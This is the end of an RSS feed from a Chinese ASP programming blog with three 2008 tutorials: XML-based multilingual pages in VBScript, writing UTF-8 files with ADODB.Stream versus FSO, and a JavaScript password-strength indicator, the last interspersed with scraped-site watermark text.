			<pubDate>Sat,10 May 2008 16:21:41 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=72</guid>	
		<description><![CDATA[新建两个存储语言项的xml文件,放到Languages目录下:<br/>zh-cn.xml<br/><br/>以下是引用片段：<br/>&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt; <br/>&lt;Languages&gt; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;aboutus&gt;关于我们&lt;/aboutus&gt; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;product&gt;产品展示&lt;/product&gt; <br/>&lt;/Languages&gt; <br/><br/><br/>english.xml<br/><br/>以下是引用片段：<br/>&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt; <br/>&lt;Languages&gt; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;aboutus&gt;About us&lt;/aboutus&gt; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;product&gt;Products&lt;/product&gt; <br/>&lt;/Languages&gt; <br/><br/><br/>公用函数(方法)Functions.asp,放到Comm目录下:<br/><br/>以下是引用片段：<br/>&lt;% <br/>’------------------- <br/>’函数名:getLang(); <br/>’参数Lang:当前语言; <br/>’参数Litem:设定的语言项; <br/>’示例:Call getLang(&#34;zh-cn&#34;,&#34;aboutus&#34;); <br/>’Author:Huerreson,huerreson@msn.com <br/>’------------------- <br/>Function getLang(ByVal Lang,Litem) <br/>&nbsp;&nbsp;&nbsp;&nbsp;Dim xmlDom <br/>&nbsp;&nbsp;&nbsp;&nbsp;If objCheck(&#34;Microsoft.XMLDOM&#34;) then&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set xmlDom = Server.Cr&#101;ateObject(&#34;Microsoft.XMLDOM&#34;) <br/>&nbsp;&nbsp;&nbsp;&nbsp;elseif objCheck(&#34;Microsoft.XMLDOM&#34;) then <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set xmlDom = Server.Cr&#101;ateObject(&#34;MSXML2.DOMDocument&#34;) <br/>&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(&#34;服务器不支持’Microsoft.XMLDOM’及’MSXML2.DOMDocument’,无法使用本功能&#34;) <br/>&nbsp;&nbsp;&nbsp;&nbsp;End if <br/>&nbsp;&nbsp;&nbsp;&nbsp;xmlDom.async = false <br/>&nbsp;&nbsp;&nbsp;&nbsp;xmlDom.load(Server.MapPath(&#34;Languages/&#34;&amp; Lang &amp;&#34;.xml&#34;)) <br/>&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(xmlDom.documentElement.sel&#101;ctSingleNode(Litem).text) <br/>&nbsp;&nbsp;&nbsp;&nbsp;Set xmlDoc = Nothing <br/>&nbsp;&nbsp;&nbsp;&nbsp;Set xmlDom = Nothing <br/>End Function <br/>’------------------- <br/>’函数名:objCheck(); <br/>’参数ObjName:对象名称; <br/>’示例:Call objCheck(&#34;Microsoft.XMLDOM&#34;); <br/>’Author:Huerreson,huerreson@msn.com <br/>’------------------- <br/>Function objCheck(ObjName) <br/>&nbsp;&nbsp;on error resume next <br/>&nbsp;&nbsp;objCheck = false <br/>&nbsp;&nbsp;Set Obj = Server.Cr&#101;ateObject (ObjName) <br/>&nbsp;&nbsp;If -2147221005 &lt;&gt; Err then <br/>&nbsp;&nbsp;&nbsp;&nbsp;objCheck = true <br/>&nbsp;&nbsp;end if <br/>&nbsp;&nbsp;Set Obj = nothing <br/>End Function <br/>%&gt; <br/><br/><br/>asp+xml实现多语言网站应用实例: 以下是引用片段：<br/>&lt;!--&nbsp;&nbsp;<br/>==多语言版本解决方案== <br/>Author:Huerrseon,huerreson@msn.com&nbsp;&nbsp;<br/>--&gt; <br/>&lt;%@LANGUAGE=&#34;VBSCRIPT&#34; CODEPAGE=&#34;65001&#34;%&gt; <br/>&lt;!--#include file=&#34;Comm/functions.asp&#34; --&gt; <br/>&lt;style type=&#34;text/css&#34;&gt; <br/>#NavMenu{border-bottom:1px dashed #000;} <br/>&lt;/style&gt; <br/>&lt;% <br/>Dim LangQuery <br/>LangQuery = lCase(Request.QueryString(&#34;lang&#34;)) <br/>If Not (IsNull(LangQuery) o&#114; LangQuery = &#34;&#34;) Then <br/>&nbsp;&nbsp;&nbsp;&nbsp;LangQuery&nbsp;&nbsp;= LangQuery <br/>else <br/>&nbsp;&nbsp;&nbsp;&nbsp;LangQuery = &#34;default&#34; <br/>End if <br/>%&gt; <br/>&lt;div id=&#34;NavMenu&#34;&gt;&lt;%Call getLang(LangQuery,&#34;aboutus&#34;)%&gt;&lt;/div&gt; <br/>&lt;div id=&#34;SwitchLangBar&#34;&gt;语言切换&lt;a href=&#34;?lang=zh-cn&#34;&gt;简体中文&lt;/a&gt;--&lt;a href=&#34;?lang=english&#34;&gt;Englsih&lt;/a&gt;&lt;/div&gt; <br/><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=64</link>
			<title><![CDATA[[转]FSO写UTF-8编码文件]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Mon,21 Apr 2008 16:34:43 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=64</guid>	
		<description><![CDATA[昨天给aw写一个生成天气预报的xml文件的程序，考虑到通用性，于是选择utf-8编码，我也比较偏好这个编码。最先想到用FSO来写这个xml文件，后来却发现生成的xml文件不能正常显示，仅仅是因为编码的原因。用记事本打开生成的xml文件，另存为utf-8编码的xml文件即可正常显示。于是在网上搜索了一下，结果发现很多人说FSO只能写ANSI编码的文件，不能写utf-8格式的文件,并且只能读写文本文件。很多人都选择用ADODB.STREAM对象来替代FSO对象，因为STREAM类有LOADFROMFILE和SAVETOFILE方法.并且有一个至关重要的属性CHARSET,这是FSO没有的。有人给出了样例程序：<br/><br/>&#39;-------------------------------------------------<br/>&#39;函数名称:ReadTextFile<br/>&#39;作用:利用AdoDb.Stream对象来读取UTF-8格式的文本文件<br/>&#39;----------------------------------------------------<br/>Function ReadFromTextFile (FileUrl,CharSet)<br/>&nbsp;&nbsp;&nbsp;&nbsp;dim str<br/>&nbsp;&nbsp;&nbsp;&nbsp;set stm=server.Cr&#101;ateObject(&#34;adodb.stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.Type=2 &#39;以本模式读取<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.mode=3 <br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.charset=CharSet<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.open<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.loadfromfile server.MapPath(FileUrl)<br/>&nbsp;&nbsp;&nbsp;&nbsp;str=stm.readtext<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.Close<br/>&nbsp;&nbsp;&nbsp;&nbsp;set stm=nothing<br/>&nbsp;&nbsp;&nbsp;&nbsp;ReadFromTextFile=str<br/>End Function<br/>&#39;-------------------------------------------------<br/>&#39;函数名称:WriteToTextFile<br/>&#39;作用:利用AdoDb.Stream对象来写入UTF-8格式的文本文件<br/>&#39;----------------------------------------------------<br/>Sub WriteToTextFile (FileUrl,byval Str,CharSet) <br/>&nbsp;&nbsp;&nbsp;&nbsp;set stm=server.Cr&#101;ateObject(&#34;adodb.stream&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.Type=2 &#39;以本模式读取<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.mode=3<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.charset=CharSet<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.open<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.WriteText str<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.SaveToFile server.MapPath(FileUrl),2 <br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.flush<br/>&nbsp;&nbsp;&nbsp;&nbsp;stm.Close<br/>&nbsp;&nbsp;&nbsp;&nbsp;set stm=nothing<br/>End Sub<br/><br/>有这个样例程序，很轻松地搞定了生成utf-8编码的xml文件的问题。谁知一上传到服务器，访问这个页面居然显示为空白，所有的代码均没有执行，包括普通的HTML代码都不显示。后来经过一步一步测试，发现是下面这一行的问题：<br/><br/>stm.SaveToFile server.MapPath(FileUrl),2<br/>更为诡异的是即使把这一行注释掉，这个页面依然不能执行，但是一旦删除这一行，整个页面就恢复正常了，估计是主机的原因……没办法咯，还是得用FSO，反正主机是支持FSO的，我还就不信FSO只能写ANSI编码的文件了！翻了一些电子书和大量网页，终于发现FSO是可以设置编码的：<br/>object.Cr&#101;ateTextFile(filename[, overwrite[, unicode]])<br/>其中unicode参数可以为以下几种：<br/><br/>-2 &#39;以系统默认格式打开文件。 <br/>-1 &#39;以 Unicode 格式打开文件。 <br/> 0 &#39;以 ASCII 格式打开文件。<br/>于是问题迎刃而解，上传到主机，测试，一切OK，哇哈哈~ <br/><br/>=============== stream遍历每一行 =====================<br/>没处理过这样的编码，不过单独用stream流应该可以的。&nbsp;&nbsp; <br/><br/>&nbsp;&nbsp;dim&nbsp;&nbsp; st&nbsp;&nbsp; <br/>&nbsp;&nbsp;dim&nbsp;&nbsp; c&nbsp;&nbsp; <br/>&nbsp;&nbsp;dim&nbsp;&nbsp; strHTML&nbsp;&nbsp; <br/>&nbsp;&nbsp;st&nbsp;&nbsp; =&nbsp;&nbsp; Server.Cr&#101;ateObject(&#34;adodb.stream&#34;)&nbsp;&nbsp; <br/>&nbsp;&nbsp;st.Type&nbsp;&nbsp; =&nbsp;&nbsp; 2&nbsp;&nbsp; <br/>&nbsp;&nbsp;st.Open&nbsp;&nbsp; <br/>&nbsp;&nbsp;st.Position&nbsp;&nbsp; =&nbsp;&nbsp; 0&nbsp;&nbsp; <br/>&nbsp;&nbsp;st.loadFromFile&nbsp;&nbsp; Server.MapPath(&#34;christ.txt&#34;)&nbsp;&nbsp; <br/>&nbsp;&nbsp;c&nbsp;&nbsp; =&nbsp;&nbsp; st.readText&nbsp;&nbsp; <br/>&nbsp;&nbsp;st.close&nbsp;&nbsp; <br/>&nbsp;&nbsp;c&nbsp;&nbsp; =&nbsp;&nbsp; split(c,chr(13)&amp;chr(10))&nbsp;&nbsp; <br/>&nbsp;&nbsp;for&nbsp;&nbsp; each&nbsp;&nbsp; strHTML&nbsp;&nbsp; in&nbsp;&nbsp; c&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strHTML&nbsp;&nbsp; =&nbsp;&nbsp; Trim(strHTML)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strHTML&nbsp;&nbsp; =&nbsp;&nbsp; replace(strHTML,&#34;&#39;&#34;,&#34;&#39;&#39;&#34;)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;......&nbsp;&nbsp; <br/>&nbsp;&nbsp;next&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/><br/>Trackback: <a href="http://tb.blog.csdn.net/TrackBack.aspx?PostId=1657784" target="_blank">http://tb.blog.csdn.net/TrackBack.aspx?PostId=1657784</a><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://blog.edotpower.com/default.asp?id=61</link>
			<title><![CDATA[制作实用密码强度提示(图)]]></title>
			<author>star520dust@163.com(stardust)</author>
			<category><![CDATA[Asp]]></category>
			<pubDate>Tue,15 Apr 2008 11:22:07 +0800</pubDate>
			<guid>http://blog.edotpower.com/default.asp?id=61</guid>	
		<description><![CDATA[功能说明：在用户注册或更改密码时，根据用户输入进行检测并返回结果。能有效地提醒用户提高帐号的安全性。 中.国.站.长.站 <br/><br/>&nbsp;&nbsp;<br/><br/>中.国站长站<br/><br/><br/>类似效果：Live.com中的修改密码功能 <br/><br/>中.国.站长站<br/><br/><br/>&nbsp;&nbsp;<br/><br/>Www^Chinaz^com<br/><br/>以下为引用的内容：<br/><br/>&lt;html&gt;<br/>&lt;head&gt;<br/>&lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&gt;<br/>&lt;title&gt;密码&lt;/title&gt;<br/>&lt;style type=&#34;text/css&#34;&gt;<br/>body{<br/> font-size:12px;<br/> font-family: Arial, Helvetica, sans-serif;<br/> margin:0;<br/>}<br/>form{<br/> margin:2em;<br/>}<br/>#chkResult{margin-left:53px;height:15px;}<br/>&lt;/style&gt;<br/>&lt;/head&gt; <br/><br/>Www@Chinaz@com<br/><br/><br/>&lt;body&gt;<br/>&lt;form name=&#34;form1&#34;&gt;<br/> &lt;label for=&#34;pwd&#34;&gt;用户密码&lt;/label&gt;<br/> &lt;input type=&#34;password&#34; name=&#34;pwd&#34; onblur=&#34;chkpwd(this)&#34; /&gt;<br/> &lt;div id=&#34;chkResult&#34;&gt;&lt;/div&gt;<br/> &lt;label for=&#34;pwd2&#34;&gt;重复密码&lt;/label&gt;<br/> &lt;input type=&#34;password&#34; name=&#34;pwd2&#34; /&gt;<br/>&lt;/form&gt;<br/>&lt;script type=&#34;text/javascript&#34;&gt;<br/> function chkpwd(obj){<br/>&nbsp;&nbsp;var t=obj.value;<br/>&nbsp;&nbsp;var id=getResult(t);<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;//定义对应的消息提示<br/>&nbsp;&nbsp;var msg=new Array(4);<br/>&nbsp;&nbsp;msg[0]=&#34;密码过短。&#34;;<br/>&nbsp;&nbsp;msg[1]=&#34;密码强度差。&#34;;<br/>&nbsp;&nbsp;msg[2]=&#34;密码强度良好。&#34;;<br/>&nbsp;&nbsp;msg[3]=&#34;密码强度高。&#34;;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;var sty=new Array(4);<br/>&nbsp;&nbsp;sty[0]=-45;<br/>&nbsp;&nbsp;sty[1]=-30; <br/><br/>中国站长.站<br/><br/><br/>&nbsp;&nbsp;sty[2]=-15;<br/>&nbsp;&nbsp;sty[3]=0;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;var col=new Array(4);<br/>&nbsp;&nbsp;col[0]=&#34;gray&#34;;<br/>&nbsp;&nbsp;col[1]=&#34;red&#34;;<br/>&nbsp;&nbsp;col[2]=&#34;#ff6600&#34;;<br/>&nbsp;&nbsp;col[3]=&#34;Green&#34;;<br/>&nbsp;&nbsp;<br/>&nbsp;&nbsp;//设置显示效果<br/>&nbsp;&nbsp;var <br/>Chinaz<br/><br/><br/> bImg=&#34;<a href="http://bbs.blueidea.com/attachments/2006/12/7/pwdlen_dSIPeEGQWxfO.gif" target="_blank">http://bbs.blueidea.com/attachments/2006/12/7/pwdlen_dSIPeEGQWxfO.gif</a>&#34;;//一张显示用的图片<br/>&nbsp;&nbsp;var sWidth=300;<br/>&nbsp;&nbsp;var sHeight=15;<br/>&nbsp;&nbsp;var Bobj=document.getElementById(&#34;chkResult&#34;); Www@Chinaz@com <br/><br/>&nbsp;&nbsp;Bobj.style.fontSize=&#34;12px&#34;;<br/>&nbsp;&nbsp;Bobj.style.color=col[id];<br/>&nbsp;&nbsp;Bobj.style.width=sWidth + &#34;px&#34;;<br/>&nbsp;&nbsp;Bobj.style.height=sHeight + &#34;px&#34;;<br/>&nbsp;&nbsp;Bobj.style.lineHeight=sHeight + &#34;px&#34;;<br/>&nbsp;&nbsp;Bobj.style.background=&#34;url(&#34; + bImg + &#34;) no-repeat left &#34; + sty[id] + &#34;px&#34;;<br/>&nbsp;&nbsp;Bobj.style.textIndent=&#34;20px&#34;;<br/>&nbsp;&nbsp;Bobj.innerHTML=&#34;检测提示：&#34; + msg[id];<br/> }<br/> <br/> //定义检测函数,返回0/1/2/3分别代表无效/差/一般/强<br/> function getResult(s){<br/>&nbsp;&nbsp;if(s.length &lt; 4){<br/>&nbsp;&nbsp; return 0;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;var ls = 0;<br/>&nbsp;&nbsp;if (s.match(/[a-z]/ig)){<br/>&nbsp;&nbsp; ls++;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;if (s.match(/[0-9]/ig)){<br/>&nbsp;&nbsp; ls++;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp; if (s.match(/(.[^a-z0-9])/ig)){<br/>&nbsp;&nbsp; ls++; Www.Chinaz.com <br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;if (s.length &lt; 6 &amp;&amp; ls &gt; 0){<br/>&nbsp;&nbsp; ls--;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;return ls<br/> }<br/>&lt;/script&gt;<br/>&lt;/body&gt; 中.国站长站 <br/><br/>&lt;/html&gt; <br/><br/>中国.站长站<br/> <br/><br/><br/>站长.站<br/><br/>第一步：保存图片 中国.站.长站 <br/><br/>第二步：根据您的需要修改js文件中该图片地址。如下所示： 站.长站 <br/><br/>var bImg=&#34;pwdlen.gif&#34;;//一张显示用的图片 <br/>Chinaz_com <br/><br/>第三步：在需要检测的页面中引用这个脚本文件，如下所示： Chinaz_com <br/><br/>&lt;script type=&#34;text/javascript&#34; src=&#34;chkpwd.js&#34;&gt;&lt;/script&gt; <br/><br/>Www^Chinaz^com<br/><br/> <br/><br/><br/>站.长.站<br/><br/>第四步：在网页的表单中，找到密码输入框添加onblur事件驱动，然后添加一个Div，如下所示： <br/><br/>站.长.站<br/><br/><br/>&lt;input type=&#34;password&#34; name=&#34;pwd&#34; onblur=&#34;chkpwd(this)&#34; /&gt;<br/>&lt;div id=&#34;chkResult&#34;&gt;强度检测&lt;/div&gt; <br/>Www@Chinaz@com <br/><br/>第五步：根据您页面的需要通过样式表CSS重新定义#chkResult的摆放位置，以合适您网页的整体布局。 中.<br/>]]></description>
		</item>
		
</channel>
</rss>